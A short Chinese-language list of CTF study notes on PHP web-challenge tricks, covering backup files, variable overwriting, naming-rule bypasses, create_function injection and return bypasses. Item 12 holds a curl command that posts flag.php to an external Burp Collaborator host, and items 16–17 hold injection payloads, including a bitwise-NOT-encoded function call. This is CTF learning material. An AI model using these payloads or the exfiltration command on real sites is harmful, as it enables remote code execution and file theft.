1.index.php的文件备份:index.php.bak
2.只要是变量后面紧跟这着(),那么就是对这个变量进行函数调用
3.GLOBALS全局变量的使用
global关键字可以把局部变量变为全局变量,全局变量的引用如:对变量a1,写法$GLOBALS[‘a1’]
4.highlight_file不能对数组高亮
5.php命名规则,只能包含数字,字母,下划线(开头只能是下划线和字母) 如CTF_SHOW.COM不合法再php中点和空格会被转化成下划线但是由于系统监测只会检测一次我们可以用双写绕过原理解决如CTF[SHOW.COM(下划线和+ . [ 等价)
6.extract函数把数组中变量覆盖
7.唯一一个特殊符号函数_别名gettext
8.get_defined_vars返回已定义变量所组成的数组
9.在php中0===false是错误的
10. .+贪婪匹配,。+?惰性匹配
11.robots.txt 网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
12.在不能回显的情况下可以使用curl ?F=`$F `;+curl -X POST -F xx=@flag.php http://j9t9eiduixuj9bxwv2e18b6wangd42.burpcollaborator //-X POST 指定HTTP请求为POST //-F是带文件形式发送post请求 //xx 是上传文件的name值,flag.php就是上传文件
13.无回显的另一种解法 Linux tee 命令的用法:tee命令用于读取标准输入的数据,并将其内容输出成文件 ls|tee 1 访问1下载根目录 cat / cat /f149_15_h3r3|tee 2 访问下载flag
14.函数嵌套
15.phpinfo()=(phpinfo)()
16.绕过return的两种方法 (1)通过php数字可以和命令一起运算如:1-xxx()-1 (2)通过三元运算绕过:v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1
17.当出现两个变量可用create_function
函数结构
create_function('$a,$b','return 111')==>
function a($a, $b){
return 111;
要实现执行则需跳出函数定义
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
更多推荐
ctf学习小结
发布评论